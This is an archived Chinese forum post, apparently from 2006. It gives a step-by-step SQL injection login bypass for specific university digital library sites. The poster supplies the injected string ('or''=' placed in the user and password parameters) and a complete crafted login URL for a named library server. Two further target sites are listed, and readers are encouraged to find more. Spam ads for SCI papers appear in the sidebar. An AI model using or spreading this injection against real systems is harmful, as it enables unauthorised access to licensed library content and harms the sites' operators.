| 查看: 529 | 回复: 2 | |||
| 当前主题已经存档。 | |||
huihui9467金虫 (正式写手)
|
[交流]
利用asp漏洞进超星图书馆
|
||
|
这是在看了论坛上的一个帖子后测试找出来的，特向菜鸟们推荐， 希望对大家有所帮助！ 深圳广播电视大学数字图书馆 http://218.17.219.22/bookhtm/index.asp 搜索需要输入用户名、MM 我们可以构造查询条件，突破限制 做法如下： 1.随便输入学号、MM，登陆，例如：学号=1,MM=1.这时会出现“此用户不存在！返回” ie地址栏中地址为：http://218.17.219.22/bookhtm/sq/ ... ;B1.x=31&B1.y=6 2.修改地址进入： 将上面地址中user=1&mima=1改为:user='or''='&mima='or''=' 或者user='orƇ'=Ƈ&mima='orƇ'=Ƈ 也可 即：http://218.17.219.22/bookhtm/sq/load.asp?user='or''='&mima='or''='&B1.x=31&B1.y=6 就是登陆地址了。 3.登陆后可以随便看了 同样的道理利用这个漏洞，可以登陆另外几个需要输入用户名、MM的站点,需要输入的地方都输上'or''=' 如：驻马店电大：http://www.zmdtvu.net/dabookhtm/ 铜陵电大：http://218.22.180.149/index.asp其他的自己好好发掘吧， |
回复此楼» 猜你喜欢
售T0P一区SCI文章，我:8O5.51.O.54,科目齐全,可＋急
已经有4人回复
-
大家好，校样时候的紧急求助，请各位帮帮忙了
已经有7人回复
-
售T0P一区SCI文章，我:8O5.51.O.54,科目齐全,可＋急
已经有3人回复
-
昨日死，今日生
已经有7人回复
-
售T0P一区SCI文章，我:8O5.51.O.54,科目齐全,可＋急
已经有7人回复
-
有没有同学在用一款线上科研辅助平台？
已经有3人回复
-
27年博士招生信息
已经有13人回复
-
植酸TLC薄层色谱爬板
已经有6人回复
-
单宁酸
已经有3人回复
-
求助难溶化合物在DMSO+三氟乙酸中的氢谱分析
已经有7人回复
2楼2006-04-27 22:13:28
fox168110
木虫 (著名写手)
- 应助: 0 (幼儿园)
- 金币: 3489
- 散金: 70
- 帖子: 2162
- 在线: 188.6小时
- 虫号: 237593
- 注册: 2006-04-04
- 性别: GG
- 专业: 凝聚态物性I:结构、力学和
3楼2006-04-27 22:50:17